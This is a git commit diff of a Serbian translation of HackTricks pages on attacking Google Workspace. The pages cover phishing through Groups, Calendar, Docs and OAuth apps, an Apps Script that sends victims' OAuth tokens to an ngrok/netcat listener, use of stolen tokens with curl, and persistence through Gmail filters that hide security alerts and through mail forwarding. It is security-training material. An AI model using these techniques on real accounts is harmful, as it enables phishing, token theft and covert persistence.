Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:02:19 +00:00
parent 9ce07d92a3
commit c60a82f155
219 changed files with 1785 additions and 1814 deletions
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Entry Points
## Ulazne tačke
### Google Platforms and OAuth Apps Phishing
### Google platforme i phishing aplikacije sa OAuth
Proverite kako možete koristiti različite Google platforme kao što su Drive, Chat, Groups... da pošaljete žrtvi phishing link i kako da izvršite Google OAuth Phishing u:
Proverite kako možete koristiti različite Google platforme kao što su Drive, Chat, Groups... da pošaljete žrtvi phishing link i kako da izvršite Google OAuth phishing u:
{{#ref}}
gws-google-platforms-phishing/
@@ -16,7 +16,7 @@ gws-google-platforms-phishing/
Da biste testirali lozinke sa svim emailovima koje ste pronašli (ili koje ste generisali na osnovu obrazaca imena emaila koje ste možda otkrili), možete koristiti alat kao što je [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (iako izgleda da nije održavan) koji će koristiti AWS lambde za promenu IP adrese.
## Post-Exploitation
## Post-eksploatacija
Ako ste kompromitovali neke kredencijale ili sesiju korisnika, možete izvršiti nekoliko akcija da pristupite potencijalno osetljivim informacijama korisnika i pokušate da eskalirate privilegije:
@@ -32,17 +32,17 @@ Pročitajte više o različitim tehnikama za pivotiranje između GWS i GCP u:
../gcp-security/gcp-to-workspace-pivoting/
{{#endref}}
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
## GWS <--> GCPW | GCDS | Sinhronizacija direktorijuma (AD & EntraID)
- **GCPW (Google Credential Provider for Windows)**: Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža tako da korisnici mogu da se prijave na svojim Windows PC-ima koristeći **svoje Workspace kredencijale**. Štaviše, ovo će **čuvati tokene za pristup Google Workspace-u** na nekim mestima na PC-u.
- **GCDS (Google Cloud Directory Sync)**: Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace-om**. Alat zahteva **kredencijale superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da, može biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
- **GCPW (Google Credential Provider for Windows)**: Ovo je jedinstveno prijavljivanje koje Google Workspaces pruža kako bi korisnici mogli da se prijave na svoje Windows PC koristeći **svoje Workspace kredencijale**. Štaviše, ovo će **čuvati tokene za pristup Google Workspace** na nekim mestima na PC-u.
- **GCDS (Google Cloud Directory Sync)**: Ovo je alat koji se može koristiti za **sinhronizaciju vaših korisnika i grupa iz aktivnog direktorijuma sa vašim Workspace**. Alat zahteva **kredencijale superkorisnika Workspace-a i privilegovanog AD korisnika**. Tako da bi moglo biti moguće pronaći ga unutar domen servera koji bi povremeno sinhronizovao korisnike.
- **Admin Directory Sync**: Omogućava vam da sinhronizujete korisnike iz AD i EntraID u serverless procesu sa [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
{{#ref}}
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
{{#endref}}
## Persistence
## Postojanost
Ako ste kompromitovali neke kredencijale ili sesiju korisnika, proverite ove opcije za održavanje postojanosti:
@@ -50,22 +50,22 @@ Ako ste kompromitovali neke kredencijale ili sesiju korisnika, proverite ove opc
gws-persistence.md
{{#endref}}
## Account Compromised Recovery
## Oporavak kompromitovanog naloga
- Odjavite se iz svih sesija
- Promenite lozinku korisnika
- Generišite nove 2FA rezervne kodove
- Uklonite App lozinke
- Uklonite lozinke aplikacija
- Uklonite OAuth aplikacije
- Uklonite 2FA uređaje
- Uklonite email prosledjivače
- Uklonite email filtre
- Uklonite prosledjivače emailova
- Uklonite filtere za emailove
- Uklonite email/telefone za oporavak
- Uklonite zlonamerne sinhronizovane pametne telefone
- Uklonite loše Android aplikacije
- Uklonite loše delegacije naloga
## References
## Reference
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch i Beau Bullock - OK Google, Kako da Red Team GSuite?
@@ -12,7 +12,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodo
Naime, po default-u, članovi u workspace-u [**mogu kreirati grupe**](https://groups.google.com/all-groups) **i pozivati ljude u njih**. Zatim možete izmeniti email koji će biti poslat korisniku **dodajući neke linkove.** **Email će doći sa google adrese**, tako da će izgledati **legitimno** i ljudi bi mogli kliknuti na link.
Takođe je moguće postaviti **FROM** adresu kao **Google grupu email** da se pošalje **više emailova korisnicima unutar grupe**, kao na sledećoj slici gde je grupa **`google--support@googlegroups.com`** kreirana i **email je poslat svim članovima** grupe (koji su dodati bez ikakvog pristanka)
Takođe je moguće postaviti **FROM** adresu kao **Google grupnu email adresu** da se pošalje **više emailova korisnicima unutar grupe**, kao na sledećoj slici gde je grupa **`google--support@googlegroups.com`** kreirana i **email je poslat svim članovima** grupe (koji su dodati bez ikakvog pristanka)
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
@@ -29,8 +29,8 @@ Možete proveriti kako je to funkcionisalo u prošlosti na: [https://www.youtube
## Google Doc Phishing
U prošlosti je bilo moguće kreirati **naizgled legitimni dokument** i u komentaru **spomenuti neku email adresu (kao što je @user@gmail.com)**. Google **je poslao email toj email adresi** obaveštavajući da su spomenuti u dokumentu.\
Danas, to ne funkcioniše, ali ako **dajte žrtvi pristup dokumentu** Google će poslati email koji to ukazuje. Ovo je poruka koja se pojavljuje kada spomenete nekoga:
U prošlosti je bilo moguće kreirati **naizgled legitimni dokument** i u komentaru **spomenuti neku email adresu (kao što je @user@gmail.com)**. Google **je poslao email toj adresi** obaveštavajući da su spomenuti u dokumentu.\
Danas to ne funkcioniše, ali ako **dajte žrtvi pristup dokumentu** Google će poslati email koji to označava. Ovo je poruka koja se pojavljuje kada spomenete nekoga:
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
@@ -41,13 +41,13 @@ Danas, to ne funkcioniše, ali ako **dajte žrtvi pristup dokumentu** Google će
Možete **kreirati kalendarski događaj** i dodati koliko god email adresa kompanije koju napadate imate. Zakazujte ovaj kalendarski događaj u **5 ili 15 minuta** od trenutnog vremena. Neka događaj izgleda legitimno i **stavite komentar i naslov koji ukazuje da treba da pročitaju nešto** (sa **phishing linkom**).
Ovo je upozorenje koje će se pojaviti u pretraživaču sa naslovom sastanka "Otpustiti ljude", tako da biste mogli postaviti naslov koji više liči na phishing (i čak promeniti ime povezano sa vašom email adresom).
Ovo je upozorenje koje će se pojaviti u pretraživaču sa naslovom sastanka "Otpustanje ljudi", tako da biste mogli postaviti naslov koji više liči na phishing (i čak promeniti ime povezano sa vašom email adresom).
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
Da bi izgledalo manje sumnjivo:
- Postavite tako da **primalaci ne mogu videti druge ljude pozvane**
- Postavite tako da **primalaci ne mogu videti druge pozvane ljude**
- **NE šaljite emailove koji obaveštavaju o događaju**. Tada će ljudi samo videti svoje upozorenje o sastanku za 5 minuta i da treba da pročitaju taj link.
- Naime, koristeći API možete postaviti na **True** da su **ljudi** **prihvatili** događaj i čak kreirati **komentare u njihovo ime**.
@@ -62,7 +62,7 @@ return HtmlService.createHtmlOutput(
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
}
```
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
Na primer, pristupanjem [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) videćete:
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
@@ -79,14 +79,14 @@ gws-app-scripts.md
## OAuth Apps Phishing
Bilo koja od prethodnih tehnika može se koristiti da se korisnik natera da pristupi **Google OAuth aplikaciji** koja će **tražiti** od korisnika neki **pristup**. Ako korisnik **veruje** **izvoru**, može **verovati** i **aplikaciji** (čak i ako traži visoke privilegije).
Bilo koja od prethodnih tehnika može se koristiti da se korisnik natera da pristupi **Google OAuth aplikaciji** koja će **tražiti** od korisnika određeni **pristup**. Ako korisnik **veruje** **izvoru**, može **verovati** **aplikaciji** (čak i ako traži visoke privilegije).
> [!NOTE]
> Imajte na umu da Google prikazuje ružnu poruku upozorenja da je aplikacija nepouzdana u nekoliko slučajeva, a Workspace administratori čak mogu sprečiti ljude da prihvate OAuth aplikacije.
> Imajte na umu da Google prikazuje ružnu poruku upozorenja da je aplikacija nepouzdana u nekoliko slučajeva, a Workspace administratori mogu čak sprečiti ljude da prihvate OAuth aplikacije.
**Google** omogućava kreiranje aplikacija koje mogu **interagovati u ime korisnika** sa nekoliko **Google servisa**: Gmail, Drive, GCP...
Kada se kreira aplikacija da **deluje u ime drugih korisnika**, programer treba da kreira **OAuth aplikaciju unutar GCP** i da označi opsege (dozvole) koje aplikacija treba da pristupi podacima korisnika.\
Kada se kreira aplikacija da **deluje u ime drugih korisnika**, programer treba da kreira **OAuth aplikaciju unutar GCP** i da označi opsege (dozvole) kojima aplikacija treba pristupiti podacima korisnika.\
Kada **korisnik** želi da **koristi** tu **aplikaciju**, biće **upitan** da **prihvati** da će aplikacija imati pristup njihovim podacima navedenim u opsezima.
Ovo je veoma primamljiv način da se **phish** netehnički korisnici u korišćenju **aplikacija koje pristupaju osetljivim informacijama** jer možda ne razumeju posledice. Međutim, u organizacijama postoje načini da se to spreči.
@@ -98,21 +98,21 @@ Kao što je pomenuto, Google će uvek prikazati **poruku korisniku da prihvati**
Ova poruka se pojavljuje u aplikacijama koje:
- Koriste bilo koji opseg koji može pristupiti privatnim podacima (Gmail, Drive, GCP, BigQuery...)
- Aplikacije sa manje od 100 korisnika (aplikacije > 100 zahtevaju proces pregleda da bi prestale da prikazuju neproverenu poruku)
- Aplikacije sa manje od 100 korisnika (za aplikacije sa više od 100 korisnika, takođe je potreban proces pregleda da bi se prestalo sa prikazivanjem nepouzdane poruke)
### Interesting Scopes
[**Ovde**](https://developers.google.com/identity/protocols/oauth2/scopes) možete pronaći listu svih Google OAuth opsega.
- **cloud-platform**: Pregledajte i upravljajte svojim podacima širom **Google Cloud Platform** servisa. Možete se pretvarati da ste korisnik u GCP.
- **admin.directory.user.readonly**: Vidite i preuzmite direktorijum GSuite vaše organizacije. Dobijate imena, telefone, URL-ove kalendara svih korisnika.
- **admin.directory.user.readonly**: Vidite i preuzmite direktorijum GSuite vaše organizacije. Dobijte imena, telefone, URL-ove kalendara svih korisnika.
### Create an OAuth App
**Započnite kreiranje OAuth Client ID**
1. Idite na [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) i kliknite na konfiguraciju ekrana za pristanak.
2. Zatim, bićete upitani da li je **tip korisnika** **interni** (samo za ljude u vašoj organizaciji) ili **eksterni**. Izaberite onaj koji odgovara vašim potrebama
2. Zatim, bićete upitani da li je **tip korisnika** **interni** (samo za ljude u vašoj organizaciji) ili **spoljašnji**. Izaberite onaj koji odgovara vašim potrebama
- Interni može biti zanimljiv ako ste već kompromitovali korisnika organizacije i kreirate ovu aplikaciju da biste phishingovali drugog.
3. Dajte **ime** aplikaciji, **email za podršku** (imajte na umu da možete postaviti googlegroup email da biste pokušali da se malo više anonimizujete), **logo**, **ovlašćene domene** i drugi **email** za **ažuriranja**.
4. **Izaberite** **OAuth opsege**.
@@ -120,15 +120,15 @@ Ova poruka se pojavljuje u aplikacijama koje:
- I **`admin.directory.user.readonly`** i **`cloud-platform`** su osetljive dozvole.
5. **Dodajte test korisnike.** Dok je status aplikacije testiranje, samo će ovi korisnici moći da pristupe aplikaciji, pa se pobrinite da **dodate email koji ćete phishingovati**.
Sada hajde da **dobijemo kredencijale za web aplikaciju** koristeći **prethodno kreirani OAuth Client ID**:
Sada da dobijemo **akreditiv za web aplikaciju** koristeći **prethodno kreirani OAuth Client ID**:
1. Vratite se na [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), ovoga puta će se pojaviti druga opcija.
2. Izaberite da **kreirate kredencijale za web aplikaciju**
2. Izaberite da **kreirate akreditive za web aplikaciju**
3. Postavite potrebne **Javascript izvore** i **URI za preusmeravanje**
- Možete postaviti u oba nešto poput **`http://localhost:8000/callback`** za testiranje
4. Dobijte svoje aplikacione **kredencijale**
4. Dobijte akreditive vaše aplikacije
Na kraju, hajde da **pokrenemo web aplikaciju koja će koristiti kredencijale OAuth aplikacije**. Možete pronaći primer na [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
Na kraju, hajde da **pokrenemo web aplikaciju koja će koristiti akreditive OAuth aplikacije**. Možete pronaći primer na [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
```bash
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
cd gcp_oauth_phishing_example
@@ -139,7 +139,7 @@ Idite na **`http://localhost:8000`**, kliknite na dugme Prijavite se sa Google-o
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
Aplikacija će prikazati **access i refresh token** koji se mogu lako koristiti. Za više informacija o **kako koristiti ove tokene proverite**:
Aplikacija će prikazati **token za pristup i osvežavanje** koji se može lako koristiti. Za više informacija o **kako koristiti ove tokene proverite**:
{{#ref}}
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
@@ -4,7 +4,7 @@
## App Scripts
App Scripts je **kod koji će se aktivirati kada korisnik sa dozvolom za uređivanje pristupi dokumentu sa kojim je povezan App Script** i nakon **prihvatanja OAuth prompta**.\
App Scripts je **kod koji će se aktivirati kada korisnik sa dozvolom urednika pristupi dokumentu sa kojim je povezan App Script** i nakon **prihvatanja OAuth prompta**.\
Takođe se mogu postaviti da se **izvršavaju svakog određenog vremena** od strane vlasnika App Script-a (Persistencija).
### Kreirajte App Script
@@ -16,9 +16,9 @@ Postoji nekoliko načina za kreiranje App Script-a, iako su najčešći **iz Goo
<summary>Kreirajte projekat vezan za kontejner iz Google Docs, Sheets ili Slides</summary>
1. Otvorite Docs dokument, Sheets tabelu ili Slides prezentaciju.
2. Kliknite na **Ekstenzije** > **Google Apps Script**.
3. U editoru skripti, kliknite na **Nepotpisani projekat**.
4. Dajte svom projektu ime i kliknite na **Preimenuj**.
2. Kliknite na **Extensions** > **Google Apps Script**.
3. U editoru skripti, kliknite na **Untitled project**.
4. Dajte svom projektu ime i kliknite na **Rename**.
</details>
@@ -29,9 +29,9 @@ Postoji nekoliko načina za kreiranje App Script-a, iako su najčešći **iz Goo
Da biste kreirali samostalni projekat iz Apps Script-a:
1. Idite na [`script.google.com`](https://script.google.com/).
2. Kliknite na **Novi projekat**.
3. U editoru skripti, kliknite na **Nepotpisani projekat**.
4. Dajte svom projektu ime i kliknite na **Preimenuj**.
2. Kliknite na **New Project**.
3. U editoru skripti, kliknite na **Untitled project**.
4. Dajte svom projektu ime i kliknite na **Rename**.
</details>
@@ -40,7 +40,7 @@ Da biste kreirali samostalni projekat iz Apps Script-a:
<summary>Kreirajte samostalni projekat iz Google Drive-a</summary>
1. Otvorite [Google Drive](https://drive.google.com/).
2. Kliknite na **Novi** > **Više** > **Google Apps Script**.
2. Kliknite na **New** > **More** > **Google Apps Script**.
</details>
@@ -49,9 +49,9 @@ Da biste kreirali samostalni projekat iz Apps Script-a:
<summary>Kreirajte projekat vezan za kontejner iz Google Forms</summary>
1. Otvorite obrazac u Google Forms.
2. Kliknite na Više more_vert > **Editor skripti**.
3. U editoru skripti, kliknite na **Nepotpisani projekat**.
4. Dajte svom projektu ime i kliknite na **Preimenuj**.
2. Kliknite na More more_vert > **Script editor**.
3. U editoru skripti, kliknite na **Untitled project**.
4. Dajte svom projektu ime i kliknite na **Rename**.
</details>
@@ -59,28 +59,28 @@ Da biste kreirali samostalni projekat iz Apps Script-a:
<summary>Kreirajte samostalni projekat koristeći clasp komandnu liniju</summary>
`clasp` je alat komandne linije koji vam omogućava da kreirate, povlačite/pomerate i implementirate Apps Script projekte iz terminala.
`clasp` je alat za komandnu liniju koji vam omogućava da kreirate, povlačite/pomerate i implementirate Apps Script projekte iz terminala.
Pogledajte [Vodič za komandnu liniju koristeći `clasp`](https://developers.google.com/apps-script/guides/clasp) za više detalja.
</details>
## Scenarijo App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
### Kreirajte Google Sheet sa App Script-om
Započnite kreiranjem App Script-a, moja preporuka za ovaj scenario je da kreirate Google Sheet i idete na **`Ekstenzije > App Scripts`**, ovo će otvoriti **novi App Script za vas povezan sa tabelom**.
Započnite kreiranjem App Script-a, moja preporuka za ovaj scenario je da kreirate Google Sheet i idete na **`Extensions > App Scripts`**, ovo će otvoriti **novi App Script za vas povezan sa tabelom**.
### Leak token
Da biste omogućili pristup OAuth tokenu, potrebno je da kliknete na **`Servisi +` i dodate opsege kao**:
Da biste omogućili pristup OAuth tokenu, potrebno je da kliknete na **`Services +` i dodate opsege kao**:
- **AdminDirectory**: Pristup korisnicima i grupama u direktorijumu (ako korisnik ima dovoljno dozvola)
- **AdminDirectory**: Pristup korisnicima i grupama direktorijuma (ako korisnik ima dovoljno dozvola)
- **Gmail**: Da biste pristupili gmail podacima
- **Drive**: Da biste pristupili podacima sa diska
- **Google Sheets API**: Da bi radilo sa okidačem
Da biste promenili **potrebne opsege**, možete otići na podešavanja projekta i omogućiti: **`Prikaži "appsscript.json" manifest fajl u editoru`.**
Da biste promenili **potrebne opsege**, možete otići na podešavanja projekta i omogućiti: **`Show "appsscript.json" manifest file in editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
@@ -133,7 +133,7 @@ Logger.log("Error making POST request: " + e.toString())
}
}
```
Da biste uhvatili zahtev, jednostavno možete pokrenuti:
Da biste uhvatili zahtev, jednostavno pokrenite:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
@@ -147,26 +147,26 @@ Permissions requested to execute the App Script:
### Create Trigger
Kada se aplikacija pročita, kliknite na **⏰ Triggers** da kreirate okidač. Kao **funkciju** izaberite **`getToken`**, pokreće se na implementaciji **`Head`**, u izvoru događaja izaberite **`From spreadsheet`** i tip događaja izaberite **`On open`** ili **`On edit`** (u zavisnosti od vaših potreba) i sačuvajte.
Kada se aplikacija pročita, kliknite na **⏰ Triggers** da biste kreirali okidač. Kao **funkciju** za pokretanje izaberite **`getToken`**, pokreće se na implementaciji **`Head`**, u izvoru događaja izaberite **`From spreadsheet`** i tip događaja izaberite **`On open`** ili **`On edit`** (u zavisnosti od vaših potreba) i sačuvajte.
Napomena: možete proveriti **izvršenja App Scripts u kartici Executions** ako želite da debagujete nešto.
### Sharing
Da bi se **pokrenuo** **App Script**, žrtva treba da se poveže sa **Editor Access**.
Da biste **pokrenuli** **App Script**, žrtva treba da se poveže sa **Editor Access**.
> [!TIP]
> **Token** koji se koristi za izvršenje **App Script** biće onaj od **kreatora okidača**, čak i ako je datoteka otvorena kao Editor od strane drugih korisnika.
> **Token** koji se koristi za izvršavanje **App Script** biće onaj od **kreatora okidača**, čak i ako je datoteka otvorena kao Editor od strane drugih korisnika.
### Abusing Shared With Me documents
> [!CAUTION]
> Ako vam je neko **podelio dokument sa App Scripts i okidačem koristeći Head** App Script-a (ne fiksnu implementaciju), možete modifikovati kod App Script-a (dodajući, na primer, funkcije za krađu tokena), pristupiti mu, i **App Script će biti izvršen sa dozvolama korisnika koji je podelio dokument sa vama**! (napomena: OAuth token vlasnika će imati pristupne opsege koje su date kada je okidač kreiran).
> Ako vam je neko **podelio dokument sa App Scripts i okidačem koristeći Head** App Script-a (ne fiksnu implementaciju), možete izmeniti kod App Script-a (dodajući, na primer, funkcije za krađu tokena), pristupiti mu, i **App Script će biti izvršen sa dozvolama korisnika koji je podelio dokument sa vama**! (napomena: OAuth token vlasnika će imati pristupne opsege one koje su date kada je okidač kreiran).
>
> **Obaveštenje će biti poslato kreatoru skripte koje ukazuje da je neko modifikovao skriptu** (Šta mislite o korišćenju gmail dozvola za generisanje filtera kako bi se sprečila upozorenja?)
> **Obaveštenje će biti poslato kreatoru skripte koje ukazuje da je neko izmenio skriptu** (Šta kažete na korišćenje gmail dozvola za generisanje filtera kako bi se sprečila upozorenja?)
> [!TIP]
> Ako **napadač modifikuje opsege App Script-a**, ažuriranja **neće biti primenjena** na dokument dok se ne kreira **novi okidač** sa izmenama. Stoga, napadač neće moći da ukrade token vlasnika kreatora sa više opsega nego što je postavio u okidaču koji je kreirao.
> Ako **napadač izmeni opsege App Script-a**, ažuriranja **neće biti primenjena** na dokument dok se ne kreira **novi okidač** sa izmenama. Stoga, napadač neće moći da ukrade token vlasnika kreatora sa više opsega nego što je postavio u okidaču koji je kreirao.
### Copying instead of sharing
@@ -202,7 +202,7 @@ curl -H "Authorization: Bearer $OAUTH_TOKEN" \
Jedna opcija za persistenciju bi bila da **napravite dokument i dodate okidač za funkciju getToken** i podelite dokument sa napadačem tako da svaki put kada napadač otvori datoteku, on **izvlači token žrtve.**
Takođe je moguće napraviti App Script i postaviti ga da se aktivira svakih X vremena (kao svake minute, sata, dana...). Napadač koji je **kompromitovao akreditive ili sesiju žrtve mogao bi postaviti vremenski okidač za App Script i svaki dan** da izlaže veoma privilegovan OAuth token:
Takođe je moguće napraviti App Script i postaviti ga da se aktivira svakih X vremena (kao svake minute, sata, dana...). Napadač koji ima **kompromitovane akreditive ili sesiju žrtve može postaviti vremenski okidač za App Script i svaki dan izložiti veoma privilegovan OAuth token**:
Jednostavno napravite App Script, idite na Okidače, kliknite na Dodaj Okidač, i izaberite kao izvor događaja Vremenski okidač i izaberite opcije koje vam najbolje odgovaraju:
@@ -216,12 +216,12 @@ Jednostavno napravite App Script, idite na Okidače, kliknite na Dodaj Okidač,
Štaviše, ako vam je neko **podelio** dokument sa **pristupom za uređivanje**, možete generisati **App Scripts unutar dokumenta** i **VLASNIK (kreator) dokumenta će biti vlasnik App Script-a**.
> [!WARNING]
> To znači da će **kreator dokumenta izgledati kao kreator bilo kog App Script-a** koji bilo ko sa pristupom za uređivanje kreira unutar njega.
> To znači da će se **kreator dokumenta pojaviti kao kreator bilo kog App Script-a** koji bilo ko sa pristupom za uređivanje kreira unutar njega.
>
> To takođe znači da će **App Script biti poveren od strane Workspace okruženja** kreatora dokumenta.
> [!CAUTION]
> To takođe znači da ako je **App Script već postojao** i ljudi su **dali pristup**, bilo ko sa **Editor** dozvolom na dokumentu može **modifikovati i zloupotrebiti taj pristup.**\
> Da biste zloupotrebili ovo, takođe vam je potrebno da ljudi aktiviraju App Script. A jedan zgodan trik je da **objavite skriptu kao web aplikaciju**. Kada **ljudi** koji su već dali **pristup** App Script-u pristupe web stranici, oni će **aktivirati App Script** (ovo takođe funkcioniše koristeći `<img>` tagove).
> To takođe znači da ako je **App Script već postojao** i ljudi su **dali pristup**, bilo ko sa **pristupom za uređivanje** na dokumentu može **modifikovati i zloupotrebiti taj pristup.**\
> Da biste zloupotrebili ovo, takođe vam je potrebno da ljudi aktiviraju App Script. Jedan pametan trik je da **objavite skriptu kao web aplikaciju**. Kada **ljudi** koji su već dali **pristup** App Script-u pristupe web stranici, oni će **aktivirati App Script** (ovo takođe funkcioniše koristeći `<img>` tagove).
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,25 +1,25 @@
# GWS - Persistence
# GWS - Persistencija
{{#include ../../banners/hacktricks-training.md}}
> [!CAUTION]
> Sve akcije navedene u ovom odeljku koje menjaju postavke generisaće **bezbednosno obaveštenje na email i čak push obaveštenje na bilo koji mobilni uređaj sinhronizovan** sa nalogom.
> Sve radnje navedene u ovom odeljku koje menjaju podešavanja generisaće **bezbednosno upozorenje na email i čak push obaveštenje na bilo koji mobilni uređaj sinhronizovan** sa nalogom.
## **Persistencija u Gmail-u**
- Možete kreirati **filtre za sakrivanje** bezbednosnih obaveštenja od Google-a
- `from: (no-reply@accounts.google.com) "Security Alert"`
- Ovo će sprečiti da bezbednosni emailovi stignu na email (ali neće sprečiti push obaveštenja na mobilni)
- Ovo će sprečiti bezbednosne emailove da stignu na email (ali neće sprečiti push obaveštenja na mobilni)
<details>
<summary>Koraci za kreiranje gmail filtera</summary>
(Uputstva [**ovde**](https://support.google.com/mail/answer/6579))
(Uputstva iz [**ovde**](https://support.google.com/mail/answer/6579))
1. Otvorite [Gmail](https://mail.google.com/).
2. U pretraživaču na vrhu, kliknite na Prikaži opcije pretrage ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36).
3. Unesite svoje kriterijume pretrage. Ako želite da proverite da li je vaša pretraga ispravno funkcionisala, pogledajte koji emailovi se pojavljuju klikom na **Pretraži**.
3. Unesite svoje kriterijume pretrage. Ako želite da proverite da li je vaša pretraga ispravno funkcionisala, pogledajte koji se emailovi pojavljuju klikom na **Pretraži**.
4. Na dnu prozora pretrage, kliknite na **Kreiraj filter**.
5. Izaberite šta želite da filter radi.
6. Kliknite na **Kreiraj filter**.
@@ -30,10 +30,10 @@ Proverite svoj trenutni filter (da ih obrišete) na [https://mail.google.com/mai
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
- Kreirajte **adresu za prosleđivanje za prosleđivanje osetljivih informacija** (ili svega) - Potrebno je ručno pristup.
- Kreirajte **adresu za prosleđivanje za prosleđivanje osetljivih informacija** (ili svega) - Potrebno je ručno pristupiti.
- Kreirajte adresu za prosleđivanje na [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
- Primalac će morati da potvrdi ovo
- Zatim, postavite da prosledite sve emailove dok zadržavate kopiju (zapamtite da kliknete na sačuvaj promene):
- Zatim, postavite da prosledite sve emailove dok čuvate kopiju (zapamtite da kliknete na sačuvaj promene):
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
@@ -41,12 +41,12 @@ Takođe je moguće kreirati filtre i proslediti samo određene emailove na drugu
## App lozinke
Ako ste uspeli da **kompromitujete sesiju google korisnika** i korisnik je imao **2FA**, možete **generisati** [**app lozinku**](https://support.google.com/accounts/answer/185833?hl=en) (pratite link da vidite korake). Imajte na umu da **App lozinke više nisu preporučene od strane Google-a i biće opozvane** kada korisnik **promeni lozinku svog Google naloga.**
Ako ste uspeli da **kompromitujete sesiju google korisnika** i korisnik je imao **2FA**, možete **generisati** [**app lozinku**](https://support.google.com/accounts/answer/185833?hl=en) (pratite link da vidite korake). Imajte na umu da **Google više ne preporučuje app lozinke i one se opozivaju** kada korisnik **promeni lozinku svog Google naloga.**
**Čak i ako imate otvorenu sesiju, moraćete da znate lozinku korisnika da biste kreirali app lozinku.**
> [!NOTE]
> App lozinke se **mogu koristiti samo sa nalozima koji imaju uključenu 2-Step Verification.**
> App lozinke mogu **da se koriste samo sa nalozima koji imaju uključenu 2-Step Verification**.
## Promena 2-FA i slično
@@ -58,7 +58,7 @@ Takođe je moguće **isključiti 2-FA ili registrovati novi uređaj** (ili broj
>
> Takođe je moguće **locirati uređaj.**
**Čak i ako imate otvorenu sesiju, moraćete da znate lozinku korisnika da biste promenili ove postavke.**
**Čak i ako imate otvorenu sesiju, moraćete da znate lozinku korisnika da biste promenili ova podešavanja.**
## Persistencija putem OAuth aplikacija
@@ -98,22 +98,22 @@ Korisnici mogu delegirati pristup samo drugom korisniku u istoj organizaciji, be
#### Korak 1: Uključite Gmail delegaciju za svoje korisnike
**Pre nego što počnete:** Da biste primenili postavku za određene korisnike, stavite njihove naloge u [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
**Pre nego što počnete:** Da biste primenili podešavanje za određene korisnike, stavite njihove naloge u [organizacionu jedinicu](https://support.google.com/a/topic/1227584).
1. [Prijavite se](https://admin.google.com/) na vašu [Google Admin konzolu](https://support.google.com/a/answer/182076).
Prijavite se koristeći _administratorski nalog_, a ne vaš trenutni nalog CarlosPolop@gmail.com
2. U Admin konzoli, idite na Meni ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![i zatim](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Aplikacije**![i zatim](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![i zatim](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![i zatim](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Podešavanja korisnika**.
